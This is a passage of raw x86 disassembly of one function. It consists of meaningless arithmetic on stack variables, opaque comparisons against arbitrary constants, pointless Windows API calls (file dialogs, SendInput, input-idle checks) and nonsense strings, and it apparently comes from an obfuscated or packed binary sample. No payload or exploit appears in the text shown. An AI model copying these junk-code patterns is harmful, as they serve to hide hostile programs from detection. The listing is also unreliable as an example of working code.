movzx edx, word [ebp - 0xbfbc]
add ecx, edx
mov word [ebp - 0x3314], cx
mov eax, dword [ebp - 0x8520]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x13d18]
movzx eax, byte [edx]
and ecx, eax
mov edx, dword [ebp - 0x66ac]
mov byte [edx], cl
mov eax, dword [ebp - 0x1ac]
mov ecx, dword [ebp - 0x8f30]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x169c]
mov dword [edx], ecx
mov eax, dword [ebp - 0xb6f8]
mov ecx, dword [ebp - 0xd9f4]
add ecx, dword [eax]
mov dword [ebp - 0x10bfc], ecx
mov edx, dword [ebp - 0x558]
mov eax, dword [ebp - 0x8b24]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x2344]
mov dword [edx], ecx
mov eax, dword [ebp - 0x237c]
mov ecx, dword [0x57856c]
mov edx, dword [eax]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x137d8]
mov dword [eax], edx
mov ecx, dword [ebp - 0x237c]
mov edx, dword [ebp - 0x15d00]
add edx, dword [ecx]
mov dword [ebp - 0x10d7c], edx
movzx eax, word [ebp - 0x13a50]
mov ecx, dword [ebp - 0x39cc]
movzx edx, word [ecx]
sub eax, edx
mov word [ebp - 0xbfbc], ax
mov eax, dword [ebp - 0x8b24]
mov ecx, dword [ebp - 0x15d00]
add ecx, dword [eax]
mov edx, dword [0x57856c]
mov dword [edx], ecx
mov eax, dword [ebp - 0xe00]
mov ecx, dword [ebp - 0x169c]
mov edx, dword [eax]
and edx, dword [ecx]
mov dword [ebp - 0x11e88], edx
mov eax, dword [0x57856c]
mov ecx, dword [eax]
or ecx, dword [ebp - 0x2970]
mov dword [ebp - 0x2128], ecx
mov edx, dword [ebp - 0x558]
mov eax, dword [ebp - 0x7698]
xor eax, dword [edx]
mov ecx, dword [ebp - 0x8b24]
mov dword [ecx], eax
mov edx, dword [ebp - 0xd9f4]
mov ecx, dword [ebp - 0xeaa0]
shr edx, cl
mov eax, dword [ebp - 0x169c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x39cc]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x10c4c]
movzx ecx, word [eax]
shl edx, cl
mov word [ebp - 0xe85c], dx
movzx ecx, byte [ebp - 0x9511]
mov edx, dword [ebp - 0xcf70]
movzx eax, byte [edx]
add ecx, eax
mov byte [ebp - 0x17b31], cl
movsx ecx, byte [ebp - 0x1d05]
movsx edx, byte [ebp - 0x6725]
add ecx, edx
mov eax, dword [ebp - 0x4650]
mov byte [eax], cl
mov ecx, dword [ebp - 0xd5e0]
movsx edx, word [ecx]
mov eax, dword [ebp - 0xb13c]
movsx ecx, word [eax]
and edx, ecx
mov word [ebp - 0x48a8], dx
mov edx, dword [ebp - 0x4d40]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x3f0c]
add eax, dword [ecx]
mov dword [0x578ab8], eax
mov edx, dword [ebp - 0x10d7c]
sub edx, dword [ebp - 0x5958]
mov dword [ebp - 0x15d00], edx
mov eax, dword [ebp - 0x12558]
sub eax, 0xc7
mov dword [ebp - 0x12558], eax
mov ecx, dword [ebp - 0xcf70]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x9511]
sub edx, eax
mov ecx, dword [ebp - 0x8520]
mov byte [ecx], dl
mov edx, dword [ebp - 0x10c4c]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x3314]
add eax, ecx
mov edx, dword [ebp - 0x10c4c]
mov word [edx], ax
mov eax, dword [ebp - 0x558]
mov ecx, dword [ebp - 0x15d00]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x237c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x171b8]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x9d8]
mov edx, dword [ebp - 0xb6f8]
mov dword [edx], ecx
mov eax, dword [ebp - 0x2344]
mov ecx, dword [ebp - 0x3f0c]
mov edx, dword [eax]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x237c]
mov dword [eax], edx
cmp dword [ebp - 0x12558], 0xfe3b
ja 0x40a3a0
movsx ecx, word [ebp - 0x48a8]
mov dword [ebp - 0x188bc], ecx
cmp dword [ebp - 0x188bc], 0
je 0x40a69a
jmp 0x53921f
mov edx, dword [ebp - 0x4d40]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x2344]
add eax, dword [ecx]
mov edx, dword [ebp - 0xd31c]
mov ecx, dword [ebp - 0x15d00]
sub ecx, dword [edx]
cmp eax, ecx
jg 0x40a78c
mov edx, dword [ebp - 0xb13c]
movsx eax, word [edx]
mov ecx, dword [ebp - 0xd5e0]
movsx ecx, word [ecx]
shl eax, cl
mov edx, dword [ebp - 0x1e60]
movsx ecx, word [edx]
movsx edx, word [ebp - 0x160d8]
or ecx, edx
cmp eax, ecx
je 0x40a732
movsx eax, word [ebp - 0x48a8]
movsx ecx, word [ebp - 0x11980]
add eax, ecx
mov word [ebp - 0x160d8], ax
mov edx, dword [ebp - 0xe728]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x2f8]
movsx edx, byte [ecx]
add eax, edx
mov ecx, dword [ebp - 0x4650]
mov byte [ecx], al
lea edx, [ebp - 0x3818]
push edx
call dword [sym.imp.COMDLG32.dll_GetOpenFileNameW]
mov dword [ebp - 0x5468], eax
jmp 0x40a78a
mov eax, dword [ebp - 0xb13c]
movsx ecx, word [eax]
movsx edx, word [ebp - 0x48a8]
and ecx, edx
mov eax, dword [ebp - 0xd5e0]
movsx edx, word [eax]
movsx eax, word [ebp - 0x160d8]
sub edx, eax
cmp ecx, edx
jne 0x40a78a
mov ecx, dword [ebp - 0x13d18]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x9511]
add edx, eax
mov ecx, dword [ebp - 0x13d18]
mov byte [ecx], dl
mov dword [0x5779c0], 0x575ff0
mov edx, dword [ebp - 0x9d8]
mov dword [ebp - 0x750], edx
jmp 0x40a7a2
mov eax, dword [ebp - 0x9d8]
push eax
mov ecx, dword [ebp - 0x4650]
movzx edx, byte [ecx]
push edx
call fcn.0053a140
mov eax, dword [ebp - 0xeaa0]
and eax, dword [ebp - 0x10bfc]
mov dword [ebp - 0x9d8], eax
mov ecx, dword [ebp - 0xcf70]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x13d18]
movzx ecx, byte [eax]
sub edx, ecx
mov eax, dword [ebp - 0x8520]
mov byte [eax], dl
lea ecx, [ebp - 0xe85c]
mov dword [ebp - 0x173e0], ecx
mov edx, dword [ebp - 0x2970]
sub edx, dword [0x578ab8]
mov eax, dword [ebp - 0x8b24]
mov dword [eax], edx
mov ecx, dword [ebp - 0x8f30]
mov dword [ebp - 0x3578], ecx
mov edx, dword [ebp - 0xd5e0]
movsx eax, word [edx]
mov dword [ebp - 0x188c0], eax
cmp dword [ebp - 0x188c0], 0x44cc
je 0x40a828
cmp dword [ebp - 0x188c0], 0x7573
je 0x40a855
jmp 0x40a8ef
mov ecx, dword [ebp - 0x2344]
mov edx, dword [ecx]
add edx, dword [ebp - 0x2128]
mov eax, dword [ebp - 0x237c]
mov dword [eax], edx
mov ecx, dword [0x578ab8]
sub ecx, dword [ebp - 0xdbc4]
mov dword [ebp - 0x2128], ecx
jmp 0x40a8ef
push str.Infancy_Ensures_Services_seedy_Cone
call dword [sym.imp.USER32.dll_CharUpperW]
mov dword [ebp - 0x3efc], eax
movzx edx, word [ebp - 0xbfbc]
movzx ecx, word [ebp - 0x3314]
sar edx, cl
mov eax, dword [0x5779c0]
mov word [eax], dx
mov cl, byte [ebp - 0x1d05]
mov byte [ebp - 0x188c4], cl
cmp byte [ebp - 0x188c4], 0x53
je 0x40a895
jmp 0x40a8dc
mov edx, dword [ebp - 0x13d18]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x9511]
shl eax, cl
mov byte [ebp - 0x17b31], al
push 0x32
lea ecx, [ebp - 0x3314]
push ecx
push 0x1c
call dword [sym.imp.USER32.dll_SendInput]
mov dword [ebp - 0x10bfc], eax
mov edx, dword [ebp - 0x1ac]
mov eax, dword [edx]
or eax, dword [ebp - 0x11e88]
mov ecx, dword [ebp - 0x348c]
mov dword [ecx], eax
jmp 0x40a8ef
mov edx, dword [ebp - 0x558]
mov eax, dword [0x55d224]
xor eax, dword [edx]
mov dword [ebp - 0x2128], eax
mov ecx, dword [ebp - 0x13970]
mov edx, dword [ecx]
mov dword [ebp - 0x188c8], edx
cmp dword [ebp - 0x188c8], 0x17e2917f
je 0x40a9e0
cmp dword [ebp - 0x188c8], 0x44ee00a6
je 0x40a91e
jmp 0x40aab2
mov eax, dword [ebp - 0x5958]
mov dword [ebp - 0x188cc], eax
cmp dword [ebp - 0x188cc], 0x13e87ee9
je 0x40a947
cmp dword [ebp - 0x188cc], 0x7333b27e
je 0x40a9ac
jmp 0x40a9db
movsx ecx, byte [ebp - 0x6725]
mov edx, dword [ebp - 0x4650]
movsx eax, byte [edx]
and ecx, eax
mov edx, dword [ebp - 0xe728]
mov byte [edx], cl
mov eax, dword [ebp - 0x159ec]
push eax
call dword [sym.imp.USER32.dll_GetTopWindow]
mov dword [ebp - 0xdf58], eax
mov ecx, dword [ebp - 0xb13c]
movsx edx, word [ecx]
mov eax, dword [ebp - 0xd5e0]
movsx ecx, word [eax]
add edx, ecx
mov eax, dword [ebp - 0x1e60]
mov word [eax], dx
movzx ecx, word [ebp - 0x3314]
mov edx, dword [ebp - 0x10c4c]
movzx eax, word [edx]
sub ecx, eax
mov word [ebp - 0xbfbc], cx
jmp 0x40a9db
mov ecx, dword [ebp - 0x1e60]
movzx edx, word [ecx]
push edx
movzx eax, word [ebp - 0x13a50]
push eax
mov ecx, dword [ebp - 0x1e60]
movzx edx, word [ecx]
push edx
mov eax, dword [ebp - 0x750]
push eax
mov ecx, dword [ebp - 0x750]
push ecx
call fcn.0053a700
jmp 0x40aab2
mov edx, dword [ebp - 0x1e60]
movsx eax, word [edx]
mov dword [ebp - 0x188d0], eax
cmp dword [ebp - 0x188d0], 0x14dc
je 0x40aa00
jmp 0x40aa9c
mov ecx, dword [ebp - 0xe00]
mov edx, dword [ebp - 0x9d8]
add edx, dword [ecx]
mov eax, dword [ebp - 0x171b8]
mov ecx, dword [ebp - 0xd9f4]
add ecx, dword [eax]
cmp edx, ecx
jae 0x40aa9a
movzx edx, byte [ebp - 0x17b31]
mov eax, dword [ebp - 0x13d18]
movzx ecx, byte [eax]
sub edx, ecx
mov eax, dword [ebp - 0xcf70]
mov byte [eax], dl
mov ecx, dword [ebp - 0x13970]
mov edx, dword [ecx]
and edx, dword [ebp - 0x750]
mov dword [ebp - 0x3578], edx
push 0xe0
lea eax, [ebp - 0x10d7c]
push eax
lea ecx, [ebp - 0x2215]
push ecx
call dword [sym.imp.SHELL32.dll_SHSetLocalizedName]
mov dword [ebp - 0x15568], eax
movzx edx, word [ebp - 0x48a8]
push edx
movzx eax, word [ebp - 0x3314]
push eax
mov ecx, dword [ebp - 0xd5e0]
movzx edx, word [ecx]
push edx
mov eax, dword [ebp - 0x8b44]
push eax
mov ecx, dword [ebp - 0x8f30]
push ecx
call fcn.0053a700
jmp 0x40aab2
mov edx, dword [ebp - 0x2344]
mov eax, dword [edx]
add eax, dword [ebp - 0x2970]
mov ecx, dword [0x57856c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x8b24]
mov eax, dword [edx]
sub eax, dword [ebp - 0xdbc4]
mov ecx, dword [ebp - 0x3f0c]
mov dword [ecx], eax
mov edx, dword [ebp - 0xe00]
mov eax, dword [ebp - 0xd9f4]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x10434]
mov dword [ecx], eax
mov edx, dword [ebp - 0x173e0]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x39cc]
movzx edx, word [ecx]
or eax, edx
mov ecx, dword [ebp - 0x6478]
movzx edx, word [ecx]
movzx ecx, word [ebp - 0x13a50]
xor edx, ecx
cmp eax, edx
je 0x40ab1b
lea edx, [ebp - 0x11980]
push edx
call dword [sym.imp.USER32.dll_GetCursorInfo]
mov dword [ebp - 0x5468], eax
lea eax, [ebp - 0x10d7c]
mov dword [ebp - 0xeb18], eax
movzx edx, byte [ebp - 0x2215]
mov eax, dword [ebp - 0x13d18]
movzx ecx, byte [eax]
sar edx, cl
mov ecx, dword [ebp - 0xcf70]
movzx eax, byte [ecx]
movzx ecx, byte [ebp - 0x9511]
shl eax, cl
cmp edx, eax
jl 0x5391b2
mov ecx, dword [ebp - 0x8f30]
sub ecx, dword [ebp - 0x138c4]
mov dword [ebp - 0x3578], ecx
mov edx, dword [ebp - 0xeb18]
mov eax, dword [ebp - 0x2128]
add eax, dword [edx]
mov ecx, dword [ebp - 0x4d40]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x137d8]
add edx, dword [ecx]
cmp eax, edx
je 0x40abea
mov edx, dword [ebp - 0x4d40]
mov eax, dword [ebp - 0x137d8]
mov ecx, dword [edx]
xor ecx, dword [eax]
mov edx, dword [0x57856c]
mov dword [edx], ecx
movzx eax, word [ebp - 0x3314]
mov ecx, dword [ebp - 0x39cc]
movzx ecx, word [ecx]
shl eax, cl
mov word [ebp - 0xbfbc], ax
lea edx, [ebp - 0x4960]
push edx
call dword [sym.imp.COMDLG32.dll_GetOpenFileNameW]
mov dword [ebp - 0xc5f4], eax
mov eax, dword [ebp - 0x13d18]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x9511]
or ecx, edx
mov eax, dword [ebp - 0x66ac]
mov byte [eax], cl
jmp 0x539176
mov ecx, dword [ebp - 0x137d8]
mov edx, dword [ecx]
mov eax, dword [0x57856c]
add edx, dword [eax]
mov ecx, dword [ebp - 0x2344]
mov eax, dword [ecx]
and eax, dword [ebp - 0x5958]
cmp edx, eax
jne 0x539176
movsx edx, byte [ebp - 0x6725]
mov eax, dword [ebp - 0x2f8]
movsx ecx, byte [eax]
sar edx, cl
mov ecx, dword [ebp - 0x4650]
movsx eax, byte [ecx]
movsx ecx, byte [ebp - 0x1d05]
add eax, ecx
cmp edx, eax
jge 0x40ac6c
movzx edx, word [ebp - 0x48a8]
push edx
mov eax, dword [ebp - 0x173e0]
movzx ecx, word [eax]
push ecx
mov edx, dword [ebp - 0xd5e0]
movzx eax, word [edx]
push eax
mov ecx, dword [ebp - 0x169c]
mov edx, dword [ecx]
push edx
mov eax, dword [ebp - 0xb6f8]
mov ecx, dword [eax]
push ecx
call fcn.0053a700
jmp 0x40ace0
mov edx, dword [ebp - 0xd5e0]
movsx eax, word [edx]
movsx ecx, word [ebp - 0x48a8]
and eax, ecx
mov edx, dword [ebp - 0x1e60]
movsx ecx, word [edx]
movsx edx, word [ebp - 0x11980]
add ecx, edx
cmp eax, ecx
je 0x40ace0
movsx eax, byte [ebp - 0x6725]
mov ecx, dword [ebp - 0x2f8]
movsx edx, byte [ecx]
sub eax, edx
mov byte [ebp - 0x1d05], al
mov eax, dword [ebp - 0xd5e0]
movsx ecx, word [eax]
movsx edx, word [ebp - 0x160d8]
sub ecx, edx
mov eax, dword [ebp - 0x1e60]
mov word [eax], cx
mov ecx, dword [ebp - 0x8b24]
mov edx, dword [ecx]
push edx
movzx eax, byte [ebp - 0x6725]
push eax
call fcn.00539fa0
add esp, 8
mov ecx, dword [ebp - 0xb6f8]
mov edx, dword [ecx]
sub edx, dword [ebp - 0xeaa0]
mov eax, dword [ebp - 0x10434]
mov ecx, dword [ebp - 0xa610]
sub ecx, dword [eax]
cmp edx, ecx
jb 0x40ad5d
mov edx, dword [ebp - 0x171b8]
mov eax, dword [edx]
mov dword [ebp - 0x5844], eax
mov ecx, dword [ebp - 0xeb18]
mov edx, dword [ecx]
and edx, dword [ebp - 0x2970]
mov dword [ebp - 0x7698], edx
lea eax, [ebp - 0x2215]
mov dword [ebp - 0xf884], eax
movzx edx, word [ebp - 0xe85c]
mov eax, dword [0x5779c0]
movzx ecx, word [eax]
shl edx, cl
mov word [ebp - 0x3314], dx
mov ecx, dword [ebp - 0x10d7c]
xor ecx, dword [ebp - 0xdbc4]
mov dword [ebp - 0x15d00], ecx
jmp 0x40ae57
movsx edx, byte [ebp - 0x6725]
mov eax, dword [ebp - 0xe728]
movsx ecx, byte [eax]
sub edx, ecx
mov eax, dword [ebp - 0x4650]
movsx ecx, byte [eax]
mov eax, dword [ebp - 0x2f8]
movsx eax, byte [eax]
add ecx, eax
cmp edx, ecx
je 0x40ae57
lea ecx, [ebp - 0x7024]
push ecx
call dword [sym.imp.USER32.dll_GetLastInputInfo]
mov dword [ebp - 0x46e0], eax
mov edx, dword [ebp - 0x558]
mov eax, dword [ebp - 0x3f0c]
mov edx, dword [edx]
mov ecx, dword [eax]
sar edx, cl
mov eax, dword [ebp - 0x2344]
mov ecx, dword [ebp - 0x2128]
or ecx, dword [eax]
cmp edx, ecx
je 0x40ae57
movzx edx, word [ebp - 0x13a50]
mov dword [ebp - 0x188d4], edx
cmp dword [ebp - 0x188d4], 0xd27
je 0x40ade1
jmp 0x40ae3c
mov eax, dword [ebp - 0x3f0c]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x15d00]
mov edx, dword [ebp - 0xd31c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x10434]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x138c4]
mov dword [ebp - 0xa610], ecx
movzx edx, word [ebp - 0x160d8]
push edx
mov eax, dword [ebp - 0x39cc]
movzx ecx, word [eax]
push ecx
movzx edx, word [ebp - 0x11980]
push edx
mov eax, dword [ebp - 0x171b8]
mov ecx, dword [eax]
push ecx
mov edx, dword [ebp - 0x750]
push edx
call fcn.0053a700
jmp 0x40ae57
mov eax, dword [ebp - 0x10c4c]
movzx ecx, word [eax]
movzx edx, word [ebp - 0xe85c]
and ecx, edx
mov eax, dword [ebp - 0x10c4c]
mov word [eax], cx
mov ecx, dword [ebp - 0xe728]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x6725]
sub edx, eax
movsx ecx, byte [ebp - 0x1d05]
mov eax, dword [ebp - 0x2f8]
movsx eax, byte [eax]
add ecx, eax
cmp edx, ecx
je 0x40aeaa
mov ecx, dword [ebp - 0xb13c]
movzx edx, word [ecx]
push edx
mov eax, dword [ebp - 0x1e60]
movzx ecx, word [eax]
push ecx
mov edx, dword [ebp - 0x2f8]
movzx eax, byte [edx]
push eax
call fcn.0053a580
add esp, 0xc
jmp 0x5390a3
movsx ecx, byte [ebp - 0x6725]
mov edx, dword [ebp - 0xe728]
movsx eax, byte [edx]
sub ecx, eax
mov edx, dword [ebp - 0x2f8]
movsx eax, byte [edx]
movsx edx, byte [ebp - 0x1d05]
add eax, edx
cmp ecx, eax
jg 0x5390a3
lea eax, [ebp - 0x2970]
mov dword [0x578d00], eax
lea ecx, [ebp - 0x5958]
mov dword [ebp - 0x3358], ecx
mov edx, dword [ebp - 0x1e60]
movsx eax, word [edx]
mov ecx, dword [ebp - 0xd5e0]
movsx edx, word [ecx]
and eax, edx
mov ecx, dword [ebp - 0xb13c]
mov word [ecx], ax
mov edx, dword [ebp - 0x4650]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x2f8]
movsx edx, byte [ecx]
add eax, edx
mov ecx, dword [ebp - 0xe728]
movsx edx, byte [ecx]
movsx ecx, byte [ebp - 0x6725]
sub edx, ecx
cmp eax, edx
jge 0x40b01c
movsx edx, byte [ebp - 0x6725]
mov eax, dword [ebp - 0x4650]
movsx ecx, byte [eax]
sub edx, ecx
mov eax, dword [ebp - 0x2f8]
mov byte [eax], dl
mov ecx, dword [ebp - 0x10c4c]
movzx edx, word [ecx]
mov dword [ebp - 0x188d8], edx
cmp dword [ebp - 0x188d8], 0x5a6
je 0x40afff
cmp dword [ebp - 0x188d8], 0x5ca
je 0x40af82
jmp 0x40b017
movzx eax, byte [ebp - 0x171f1]
mov ecx, dword [ebp - 0x8520]
movzx edx, byte [ecx]
add eax, edx
mov byte [ebp - 0x2215], al
lea eax, [ebp - 0x13aa4]
push eax
call dword [sym.imp.SHELL32.dll_SHBrowseForFolderW]
mov dword [ebp - 0xa1c8], eax
movzx ecx, word [ebp - 0x3314]
mov edx, dword [ebp - 0x6478]
movzx eax, word [edx]
add ecx, eax
mov edx, dword [ebp - 0x39cc]
mov word [edx], cx
mov eax, dword [ebp - 0x348c]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x11e88]
mov dword [ebp - 0xd9f4], ecx
lea edx, [ebp - 0x9510]
push edx
mov eax, dword [ebp - 0x1880]
push eax
mov ecx, dword [ebp - 0x2fa4]
push ecx
call dword [sym.imp.SHELL32.dll_ExtractAssociatedIconW]
mov dword [ebp - 0xada8], eax
jmp 0x40b017
mov edx, dword [ebp - 0x237c]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x10d7c]
shl eax, cl
mov ecx, dword [ebp - 0x8b24]
mov dword [ecx], eax
jmp 0x40b0e3
mov edx, dword [ebp - 0xb13c]
movsx eax, word [edx]
mov ecx, dword [ebp - 0x1e60]
movsx edx, word [ecx]
xor eax, edx
movsx edx, word [ebp - 0x160d8]
mov ecx, dword [ebp - 0xd5e0]
movsx ecx, word [ecx]
sar edx, cl
cmp eax, edx
jge 0x40b093
mov edx, dword [ebp - 0xeb18]
mov eax, dword [edx]
mov dword [ebp - 0x188dc], eax
cmp dword [ebp - 0x188dc], 0x1d9e524b
je 0x40b062
jmp 0x40b07c
mov ecx, dword [ebp - 0x13970]
mov edx, dword [ecx]
push edx
mov eax, dword [ebp - 0x4650]
movzx ecx, byte [eax]
push ecx
call fcn.0053a140
jmp 0x40b093
movzx edx, word [ebp - 0xe85c]
movzx eax, word [ebp - 0x13a50]
or edx, eax
mov word [ebp - 0x3314], dx
mov ecx, dword [ebp - 0x13d18]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0xcf70]
movzx ecx, byte [eax]
and edx, ecx
mov byte [0x575ff2], dl
lea edx, [ebp - 0xd9f4]
mov dword [ebp - 0x17670], edx
mov eax, dword [ebp - 0x3358]
mov ecx, dword [ebp - 0x2128]
add ecx, dword [eax]
mov edx, dword [ebp - 0x4d40]
mov dword [edx], ecx
mov eax, dword [ebp - 0x8b24]
mov ecx, dword [ebp - 0x2970]
sub ecx, dword [eax]
mov dword [ebp - 0x5958], ecx
mov edx, dword [ebp - 0x348c]
mov eax, dword [edx]
mov ecx, dword [ebp - 0xb6f8]
add eax, dword [ecx]
mov edx, dword [ebp - 0xeaa0]
add edx, dword [ebp - 0x11e88]
cmp eax, edx
ja 0x539044
mov eax, dword [0x55d224]
mov dword [ebp - 0x188e0], eax
cmp dword [ebp - 0x188e0], 0
je 0x40b120
jmp 0x538f6d
lea ecx, [ebp - 0x1d05]
mov dword [ebp - 0x186f4], ecx
mov edx, dword [ebp - 0x39cc]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x173e0]
movzx edx, word [ecx]
xor eax, edx
mov ecx, dword [ebp - 0x10c4c]
mov word [ecx], ax
mov edx, dword [0x55d224]
mov dword [ebp - 0x188e4], edx
cmp dword [ebp - 0x188e4], 0x46e3e29e
je 0x40b166
jmp 0x40b229
movzx eax, byte [ebp - 0x9511]
mov ecx, dword [ebp - 0xf884]
movzx edx, byte [ecx]
or eax, edx
mov byte [ebp - 0x2215], al
mov eax, dword [ebp - 0x348c]
mov edx, dword [eax]
mov ecx, dword [ebp - 0xa610]
shr edx, cl
mov eax, dword [ebp - 0x17670]
mov dword [eax], edx
mov ecx, dword [ebp - 0x8b44]
and ecx, dword [ebp - 0xd9f4]
mov edx, dword [ebp - 0x10434]
mov eax, dword [edx]
mov edx, dword [ebp - 0x171b8]
add eax, dword [edx]
cmp ecx, eax
je 0x40b215
mov al, byte [ebp - 0x2215]
mov byte [ebp - 0x188e8], al
cmp byte [ebp - 0x188e8], 0x86
je 0x40b1fd
cmp byte [ebp - 0x188e8], 0xfa
je 0x40b1d6
jmp 0x40b215
mov ecx, dword [ebp - 0x125d8]
push ecx
call dword [sym.imp.SHELL32.dll_DragFinish]
mov edx, dword [ebp - 0x1ac]
mov eax, dword [edx]
push eax
mov ecx, dword [ebp - 0x186f4]
movzx edx, byte [ecx]
push edx
call fcn.0053a140
jmp 0x40b215
mov eax, dword [ebp - 0xe00]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x1ac]
add ecx, dword [edx]
mov eax, dword [ebp - 0x13970]
mov dword [eax], ecx
mov ecx, dword [ebp - 0x7698]
sub ecx, dword [ebp - 0x2128]
mov dword [ebp - 0x10d7c], ecx
jmp 0x40b27d
lea edx, [ebp - 0x15d00]
mov dword [ebp - 0x2f30], edx
mov eax, dword [ebp - 0x7698]
add eax, dword [ebp - 0x10d7c]
mov ecx, dword [ebp - 0x237c]
mov dword [ecx], eax
movzx edx, byte [0x575ff2]
mov eax, dword [ebp - 0x13d18]
movzx ecx, byte [eax]
sub edx, ecx
mov eax, dword [ebp - 0xcf70]
mov byte [eax], dl
mov cx, word [ebp - 0x3314]
mov word [0x5778ec], cx
lea edx, [ebp - 0x750]
mov dword [ebp - 0x69a0], edx
mov eax, dword [ebp - 0xd9f4]
mov dword [ebp - 0x188ec], eax
cmp dword [ebp - 0x188ec], 0
je 0x40b2a7
cmp dword [ebp - 0x188ec], 0xee19431d
je 0x40b377
jmp 0x40b3c8
mov ecx, dword [0x578d00]
mov edx, dword [ecx]
and edx, dword [ebp - 0x10d7c]
mov eax, dword [ebp - 0x3358]
mov dword [eax], edx
mov ecx, dword [ebp - 0x558]
mov edx, dword [ecx]
add edx, dword [ebp - 0x15d00]
mov eax, dword [ebp - 0x1186c]
sub eax, dword [ebp - 0x2970]
cmp edx, eax
jle 0x40b375
lea ecx, [ebp - 0xcf40]
push ecx
call dword [sym.imp.COMDLG32.dll_GetOpenFileNameW]
mov dword [ebp - 0xeecc], eax
mov edx, dword [ebp - 0x2f8]
mov al, byte [edx]
mov byte [ebp - 0x188f0], al
cmp byte [ebp - 0x188f0], 0x3b
je 0x40b35b
cmp byte [ebp - 0x188f0], 0x67
je 0x40b314
jmp 0x40b375
mov ecx, dword [ebp - 0xeb18]
mov edx, dword [ebp - 0x2128]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x3358]
mov dword [eax], edx
mov ecx, dword [ebp - 0x171b8]
mov edx, dword [ebp - 0xeaa0]
mov ecx, dword [ecx]
shl edx, cl
mov dword [ebp - 0xa610], edx
mov eax, dword [ebp - 0x2f30]
mov ecx, dword [eax]
push ecx
movzx edx, byte [ebp - 0x6725]
push edx
call fcn.00539fa0
add esp, 8
jmp 0x40b375
mov eax, dword [ebp - 0xeb68]
push eax
mov ecx, dword [ebp - 0x2268]
push ecx
call dword [sym.imp.USER32.dll_SetMenu]
mov dword [ebp - 0x5468], eax
jmp 0x40b3c8
movzx edx, byte [ebp - 0x9511]
mov eax, dword [ebp - 0x8520]
movzx ecx, byte [eax]
or edx, ecx
mov eax, dword [ebp - 0xf884]
mov byte [eax], dl
mov ecx, dword [ebp - 0x6478]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x173e0]
movzx ecx, word [eax]
sar edx, cl
mov word [ebp - 0xe85c], dx
mov ecx, dword [ebp - 0xe728]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x186f4]
movsx ecx, byte [eax]
xor edx, ecx
mov eax, dword [ebp - 0x4650]
mov byte [eax], dl
movzx ecx, word [ebp - 0x13a50]
mov dword [ebp - 0x188f4], ecx
cmp dword [ebp - 0x188f4], 0xf19
je 0x40b3e6
jmp 0x40b470
push str.Extermination_meaninglessly
call dword [sym.imp.USER32.dll_CharNextW]
mov dword [ebp - 0x3efc], eax
movsx edx, word [ebp - 0x11980]
mov eax, dword [ebp - 0xb13c]
movsx ecx, word [eax]
and edx, ecx
mov eax, dword [ebp - 0x1e60]
mov word [eax], dx
mov ecx, dword [ebp - 0x138c4]
mov dword [ebp - 0x188f8], ecx
cmp dword [ebp - 0x188f8], 0x4044f28d
je 0x40b42c
jmp 0x40b457
mov edx, dword [ebp - 0x2f30]
mov eax, dword [ebp - 0x10d7c]
add eax, dword [edx]
mov dword [0x55d224], eax
mov ecx, dword [ebp - 0x10c4c]
movzx edx, word [ecx]
push edx
mov eax, dword [ebp - 0x15d00]
push eax
call fcn.0053a2a0
jmp 0x40b46b
mov ecx, dword [ebp - 0x2128]
add ecx, dword [ebp - 0x2970]
mov edx, dword [ebp - 0x237c]
mov dword [edx], ecx
jmp 0x40b5a3
movzx eax, byte [ebp - 0x171f1]
mov ecx, dword [ebp - 0x66ac]
movzx edx, byte [ecx]
add eax, edx
movzx ecx, byte [ebp - 0x2215]
movzx edx, byte [ebp - 0x9511]
sub ecx, edx
cmp eax, ecx
jne 0x40b590
mov eax, dword [ebp - 0xcf70]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x171f1]
and ecx, edx
movzx eax, byte [ebp - 0x17b31]
movzx edx, byte [ebp - 0x2215]
add eax, edx
cmp ecx, eax
jl 0x40b553
mov eax, dword [ebp - 0x10c4c]
movzx edx, word [eax]
movzx ecx, word [ebp - 0xe85c]
sar edx, cl
mov word [ebp - 0x2a70], dx
mov eax, dword [ebp - 0x13d18]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x9511]
xor ecx, edx
mov byte [ebp - 0x17b31], cl
mov eax, dword [ebp - 0x2344]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x137d8]
add ecx, dword [edx]
mov dword [ebp - 0xdbc4], ecx
mov eax, dword [ebp - 0x750]
mov dword [ebp - 0x10ce4], eax
mov ecx, dword [0x578d00]
mov edx, dword [ecx]
and edx, dword [ebp - 0x7698]
mov dword [ebp - 0x10d7c], edx
mov eax, dword [ebp - 0x2970]
mov dword [ebp - 0x8a40], eax
mov ecx, dword [ebp - 0xf884]
